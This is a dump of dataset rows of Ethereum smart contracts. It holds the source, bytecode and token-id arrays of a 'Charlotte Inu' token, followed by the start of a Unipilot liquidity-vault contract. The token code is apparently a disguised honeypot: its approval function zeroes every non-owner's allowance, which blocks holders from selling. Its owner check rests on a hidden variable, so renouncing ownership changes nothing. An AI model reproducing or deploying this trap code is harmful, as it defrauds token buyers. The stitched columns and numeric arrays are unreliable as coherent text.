function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract Charlotte is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**12* 10**18;
string private _name = ' Charlotte Inu ';
string private _symbol = 'CHARLOTTE';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220d44ca46c444e85f08b06c1ad053f99a252473cf2356478c7f49c6345c9e23c5364736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
25746,
2487,
2278,
2575,
16703,
11329,
2050,
22610,
2683,
2094,
2620,
17914,
2692,
11057,
20958,
2683,
10790,
2094,
2487,
2050,
19961,
12879,
2094,
2581,
2575,
2683,
23777,
2050,
1013,
1008,
10474,
1024,
16770,
1024,
1013,
1013,
10474,
1012,
4012,
1013,
5904,
1035,
1999,
2226,
23921,
1024,
16770,
1024,
1013,
1013,
1056,
1012,
2033,
1013,
5904,
2378,
2226,
3693,
1996,
23921,
2005,
2062,
18558,
2006,
19204,
25524,
999,
22150,
3390,
2074,
2085,
1012,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
2260,
1025,
8278,
29464,
11890,
11387,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,424 | 0x952208B3E3f4eCb197D3fbC1d4527f58a4f3C1dA | //SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
pragma abicoder v2;
import "./libraries/TransferHelper.sol";
import "./interfaces/external/IWETH9.sol";
import "./interfaces/IUnipilotVault.sol";
import "./interfaces/IUnipilotStrategy.sol";
import "./interfaces/IUnipilotFactory.sol";
import "./libraries/UniswapLiquidityManagement.sol";
import "./libraries/UniswapPoolActions.sol";
import "@openzeppelin/contracts/drafts/ERC20Permit.sol";
/// @title Unipilot Active Vault
/// @author 0xMudassir & 721Orbit
/// @dev Active liquidity managment contract that handles user liquidity of any Uniswap V3 pool & earn fees for them
/// @dev minimalist, and gas-optimized contract that ensures user liquidity is always
/// in range and earns maximum amount of fees available at current liquidity utilization
/// rate.
/// @dev In order to minimize IL for users contract pulls liquidity to the vault (HODL) when necessary
contract UnipilotActiveVault is ERC20Permit, IUnipilotVault {
using LowGasSafeMath for uint256;
using UniswapPoolActions for IUniswapV3Pool;
using UniswapLiquidityManagement for IUniswapV3Pool;
IERC20 private token0;
IERC20 private token1;
uint24 private fee;
int24 private tickSpacing;
TicksData public ticksData;
IUniswapV3Pool private pool;
IUnipilotFactory private unipilotFactory;
address private WETH;
uint32 private _pulled = 1;
uint32 private _unlocked = 1;
uint32 private _initialized = 1;
mapping(address => bool) private _operatorApproved;
modifier onlyGovernance() {
(address governance, , , , ) = getProtocolDetails();
require(msg.sender == governance);
_;
}
modifier onlyOperator() {
require(_operatorApproved[msg.sender]);
_;
}
modifier nonReentrant() {
require(_unlocked == 1);
_unlocked = 2;
_;
_unlocked = 1;
}
modifier checkDeviation() {
(, address strategy, , , ) = getProtocolDetails();
IUnipilotStrategy(strategy).checkDeviation(address(pool));
_;
}
constructor(
address _pool,
address _unipilotFactory,
address _WETH,
address governance,
string memory _name,
string memory _symbol
) ERC20Permit(_name) ERC20(_name, _symbol) {
WETH = _WETH;
unipilotFactory = IUnipilotFactory(_unipilotFactory);
pool = IUniswapV3Pool(_pool);
token0 = IERC20(pool.token0());
token1 = IERC20(pool.token1());
fee = pool.fee();
tickSpacing = pool.tickSpacing();
_operatorApproved[governance] = true;
}
receive() external payable {}
fallback() external payable {}
/// @dev sets initial position of the vault & can only called once by the governer
function init() external onlyGovernance {
require(_initialized == 1);
_initialized = 2;
int24 _tickSpacing = tickSpacing;
int24 baseThreshold = _tickSpacing * getBaseThreshold();
(, int24 currentTick, ) = pool.getSqrtRatioX96AndTick();
int24 tickFloor = UniswapLiquidityManagement.floor(
currentTick,
_tickSpacing
);
ticksData.baseTickLower = tickFloor - baseThreshold;
ticksData.baseTickUpper = tickFloor + baseThreshold;
UniswapLiquidityManagement.checkRange(
ticksData.baseTickLower,
ticksData.baseTickUpper
);
}
/// @inheritdoc IUnipilotVault
function deposit(
uint256 amount0Desired,
uint256 amount1Desired,
address recipient
)
external
payable
override
nonReentrant
returns (
uint256 lpShares,
uint256 amount0,
uint256 amount1
)
{
require(amount0Desired > 0 && amount1Desired > 0);
address sender = _msgSender();
(lpShares, amount0, amount1) = pool.computeLpShares(
true,
amount0Desired,
amount1Desired,
_balance0(),
_balance1(),
totalSupply(),
ticksData
);
pay(address(token0), sender, address(this), amount0);
pay(address(token1), sender, address(this), amount1);
if (_pulled == 1) {
pool.mintLiquidity(
ticksData.baseTickLower,
ticksData.baseTickUpper,
amount0,
amount1
);
}
if (address(this).balance > 0)
TransferHelper.safeTransferETH(msg.sender, address(this).balance);
_mint(recipient, lpShares);
emit Deposit(sender, recipient, amount0, amount1, lpShares);
}
/// @inheritdoc IUnipilotVault
function withdraw(
uint256 liquidity,
address recipient,
bool refundAsETH
)
external
override
nonReentrant
returns (uint256 amount0, uint256 amount1)
{
require(liquidity > 0);
uint256 totalSupply = totalSupply();
/// @dev if liquidity has pulled in contract then calculate share accordingly
if (_pulled == 1) {
uint256 liquidityShare = FullMath.mulDiv(
liquidity,
1e18,
totalSupply
);
(amount0, amount1) = pool.burnUserLiquidity(
ticksData.baseTickLower,
ticksData.baseTickUpper,
liquidityShare,
address(this)
);
(uint256 fees0, uint256 fees1) = pool.collectPendingFees(
address(this),
ticksData.baseTickLower,
ticksData.baseTickUpper
);
transferFeesToIF(false, fees0, fees1);
}
uint256 unusedAmount0 = FullMath.mulDiv(
_balance0().sub(amount0),
liquidity,
totalSupply
);
uint256 unusedAmount1 = FullMath.mulDiv(
_balance1().sub(amount1),
liquidity,
totalSupply
);
amount0 = amount0.add(unusedAmount0);
amount1 = amount1.add(unusedAmount1);
if (amount0 > 0) {
transferFunds(refundAsETH, recipient, address(token0), amount0);
}
if (amount1 > 0) {
transferFunds(refundAsETH, recipient, address(token1), amount1);
}
_burn(msg.sender, liquidity);
emit Withdraw(recipient, liquidity, amount0, amount1);
if (_pulled == 1) {
(uint256 c0, uint256 c1) = pool.mintLiquidity(
ticksData.baseTickLower,
ticksData.baseTickUpper,
_balance0(),
_balance1()
);
emit CompoundFees(c0, c1);
}
}
/// @inheritdoc IUnipilotVault
function readjustLiquidity() external override onlyOperator checkDeviation {
_pulled = 1;
ReadjustVars memory a;
(uint128 totalLiquidity, , ) = pool.getPositionLiquidity(
ticksData.baseTickLower,
ticksData.baseTickUpper
);
(a.amount0Desired, a.amount1Desired, a.fees0, a.fees1) = pool
.burnLiquidity(
ticksData.baseTickLower,
ticksData.baseTickUpper,
address(this)
);
transferFeesToIF(true, a.fees0, a.fees1);
int24 baseThreshold = tickSpacing * getBaseThreshold();
(, a.currentTick, ) = pool.getSqrtRatioX96AndTick();
(a.tickLower, a.tickUpper) = UniswapLiquidityManagement.getBaseTicks(
a.currentTick,
baseThreshold,
tickSpacing
);
if (
(totalLiquidity > 0) &&
(a.amount0Desired == 0 || a.amount1Desired == 0)
) {
bool zeroForOne = a.amount0Desired > 0 ? true : false;
int256 amountSpecified = zeroForOne
? int256(FullMath.mulDiv(a.amount0Desired, 50, 100))
: int256(FullMath.mulDiv(a.amount1Desired, 50, 100));
pool.swapToken(address(this), zeroForOne, amountSpecified);
} else {
a.amount0Desired = _balance0();
a.amount1Desired = _balance1();
a.liquidity = pool.getLiquidityForAmounts(
a.amount0Desired,
a.amount1Desired,
a.tickLower,
a.tickUpper
);
(a.amount0, a.amount1) = pool.getAmountsForLiquidity(
a.liquidity,
a.tickLower,
a.tickUpper
);
a.zeroForOne = UniswapLiquidityManagement.amountsDirection(
a.amount0Desired,
a.amount1Desired,
a.amount0,
a.amount1
);
a.amountSpecified = a.zeroForOne
? int256(
FullMath.mulDiv(a.amount0Desired.sub(a.amount0), 50, 100)
)
: int256(
FullMath.mulDiv(a.amount1Desired.sub(a.amount1), 50, 100)
);
pool.swapToken(address(this), a.zeroForOne, a.amountSpecified);
}
a.amount0Desired = _balance0();
a.amount1Desired = _balance1();
(ticksData.baseTickLower, ticksData.baseTickUpper) = pool
.getPositionTicks(
a.amount0Desired,
a.amount1Desired,
baseThreshold,
tickSpacing
);
pool.mintLiquidity(
ticksData.baseTickLower,
ticksData.baseTickUpper,
a.amount0Desired,
a.amount1Desired
);
}
/// @notice Updates Unipilot's position.
/// @dev Finds base position and limit position for imbalanced token
/// mints all amounts to this position(including earned fees)
/// @dev Must be called by the current governer or selected operators
function rerange() external onlyOperator {
_pulled = 1;
(, , uint256 fees0, uint256 fees1) = pool.burnLiquidity(
ticksData.baseTickLower,
ticksData.baseTickUpper,
address(this)
);
transferFeesToIF(true, fees0, fees1);
int24 baseThreshold = tickSpacing * getBaseThreshold();
(ticksData.baseTickLower, ticksData.baseTickUpper) = pool
.rerangeLiquidity(
baseThreshold,
tickSpacing,
_balance0(),
_balance1()
);
}
/// @inheritdoc IUnipilotVault
function uniswapV3MintCallback(
uint256 amount0Owed,
uint256 amount1Owed,
bytes calldata data
) external override {
_verifyCallback();
address recipient = msg.sender;
address payer = abi.decode(data, (address));
if (amount0Owed > 0)
pay(address(token0), payer, recipient, amount0Owed);
if (amount1Owed > 0)
pay(address(token1), payer, recipient, amount1Owed);
}
/// @inheritdoc IUnipilotVault
function uniswapV3SwapCallback(
int256 amount0,
int256 amount1,
bytes calldata data
) external override {
_verifyCallback();
require(amount0 > 0 || amount1 > 0);
bool zeroForOne = abi.decode(data, (bool));
if (zeroForOne)
pay(address(token0), address(this), msg.sender, uint256(amount0));
else pay(address(token1), address(this), msg.sender, uint256(amount1));
}
/// @dev Burns all the Unipilot position and HODL in the vault to prevent users from huge IL
/// Only called by the governer or selected operators
/// @dev Users can also deposit/withdraw during HODL period.
function pullLiquidity(address recipient) external onlyOperator {
require(unipilotFactory.isWhitelist(recipient));
(
uint256 reserves0,
uint256 reserves1,
uint256 fees0,
uint256 fees1
) = pool.burnLiquidity(
ticksData.baseTickLower,
ticksData.baseTickUpper,
recipient
);
if (recipient != address(this)) {
pay(address(token0), address(this), recipient, _balance0());
pay(address(token1), address(this), recipient, _balance1());
}
_pulled = 2;
emit PullLiquidity(reserves0, reserves1, fees0, fees1);
}
/// @notice Calculates the vault's total holdings of TOKEN0 and TOKEN1 - in
/// other words, how much of each token the vault would hold if it withdrew
/// all its liquidity from Uniswap.
/// @dev Updates the position and return the updated reserves, fees & liquidity.
/// @return amount0 Amount of token0 in the unipilot vault
/// @return amount1 Amount of token1 in the unipilot vault
/// @return fees0 Total amount of fees collected by unipilot position in terms of token0
/// @return fees1 Total amount of fees collected by unipilot position in terms of token1
/// @return baseLiquidity The total liquidity of the base position
/// @return rangeLiquidity The total liquidity of the range position - N/A for active vault
function getPositionDetails()
external
returns (
uint256 amount0,
uint256 amount1,
uint256 fees0,
uint256 fees1,
uint128 baseLiquidity,
uint128 rangeLiquidity
)
{
return pool.getTotalAmounts(true, ticksData);
}
/// @notice Updates the status of given account as operator
/// @dev Must be called by the current governance
/// @param _operator Account to update status
function toggleOperator(address _operator) external onlyGovernance {
_operatorApproved[_operator] = !_operatorApproved[_operator];
}
/// @notice Returns the status for a given operator that can operate readjust & pull liquidity
function isOperator(address _operator) external view returns (bool) {
return _operatorApproved[_operator];
}
/// @notice Returns unipilot vault details
/// @return The first of the two tokens of the pool, sorted by address
/// @return The second of the two tokens of the pool, sorted by address
/// @return The pool's fee in hundredths of a bip, i.e. 1e-6
/// @return The address of the Uniswap V3 Pool
function getVaultInfo()
external
view
returns (
address,
address,
uint24,
address
)
{
return (address(token0), address(token1), fee, address(pool));
}
/// @dev Amount of token0 held as unused balance.
function _balance0() internal view returns (uint256) {
return token0.balanceOf(address(this));
}
/// @dev Amount of token1 held as unused balance.
function _balance1() internal view returns (uint256) {
return token1.balanceOf(address(this));
}
/// @notice Verify that caller should be the address of a valid Uniswap V3 Pool
function _verifyCallback() internal view {
require(msg.sender == address(pool));
}
function getBaseThreshold() internal view returns (int24 baseThreshold) {
(, address strategy, , , ) = getProtocolDetails();
return IUnipilotStrategy(strategy).getBaseThreshold(address(pool));
}
function getProtocolDetails()
internal
view
returns (
address governance,
address strategy,
address indexFund,
uint8 indexFundPercentage,
uint8 swapPercentage
)
{
return unipilotFactory.getUnipilotDetails();
}
/// @dev method to transfer unipilot earned fees to Index Fund
function transferFeesToIF(
bool isReadjustLiquidity,
uint256 fees0,
uint256 fees1
) internal {
(, , address indexFund, uint8 percentage, ) = getProtocolDetails();
if (fees0 > 0)
token0.transfer(indexFund, FullMath.mulDiv(fees0, percentage, 100));
if (fees1 > 0)
token1.transfer(indexFund, FullMath.mulDiv(fees1, percentage, 100));
emit FeesSnapshot(isReadjustLiquidity, fees0, fees1);
}
function transferFunds(
bool refundAsETH,
address recipient,
address token,
uint256 amount
) internal {
if (refundAsETH && token == WETH) {
IWETH9(WETH).withdraw(amount);
TransferHelper.safeTransferETH(recipient, amount);
} else {
TransferHelper.safeTransfer(token, recipient, amount);
}
}
/// @param token The token to pay
/// @param payer The entity that must pay
/// @param recipient The entity that will receive payment
/// @param value The amount to pay
function pay(
address token,
address payer,
address recipient,
uint256 value
) internal {
if (token == WETH && address(this).balance >= value) {
// pay with WETH9
IWETH9(WETH).deposit{ value: value }(); // wrap only what is needed to pay
IWETH9(WETH).transfer(recipient, value);
} else if (payer == address(this)) {
// pay with tokens already in the contract (for the exact input multihop case)
TransferHelper.safeTransfer(token, recipient, value);
} else {
// pull payment
TransferHelper.safeTransferFrom(token, payer, recipient, value);
}
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
//import "../interfaces/external/IERC20.sol";
library TransferHelper {
/// @notice Transfers tokens from the targeted address to the given destination
/// @notice Errors with 'STF' if transfer fails
/// @param token The contract address of the token to be transferred
/// @param from The originating address from which the tokens will be transferred
/// @param to The destination address of the transfer
/// @param value The amount to be transferred
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
(bool success, bytes memory data) = token.call(
abi.encodeWithSelector(
IERC20.transferFrom.selector,
from,
to,
value
)
);
require(
success && (data.length == 0 || abi.decode(data, (bool))),
"STF"
);
}
/// @notice Transfers tokens from msg.sender to a recipient
/// @dev Errors with ST if transfer fails
/// @param token The contract address of the token which will be transferred
/// @param to The recipient of the transfer
/// @param value The value of the transfer
function safeTransfer(
address token,
address to,
uint256 value
) internal {
(bool success, bytes memory data) = token.call(
abi.encodeWithSelector(IERC20.transfer.selector, to, value)
);
require(
success && (data.length == 0 || abi.decode(data, (bool))),
"ST"
);
}
/// @notice Approves the stipulated contract to spend the given allowance in the given token
/// @dev Errors with 'SA' if transfer fails
/// @param token The contract address of the token to be approved
/// @param to The target of the approval
/// @param value The amount of the given token the target will be allowed to spend
function safeApprove(
address token,
address to,
uint256 value
) internal {
(bool success, bytes memory data) = token.call(
abi.encodeWithSelector(IERC20.approve.selector, to, value)
);
require(
success && (data.length == 0 || abi.decode(data, (bool))),
"SA"
);
}
/// @notice Transfers ETH to the recipient address
/// @dev Fails with `STE`
/// @param to The destination of the transfer
/// @param value The value to be transferred
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{ value: value }(new bytes(0));
require(success, "STE");
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity =0.7.6;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/// @title Interface for WETH9
interface IWETH9 is IERC20 {
/// @notice Deposit ether to get wrapped ether
function deposit() external payable;
/// @notice Withdraw wrapped ether to get ether
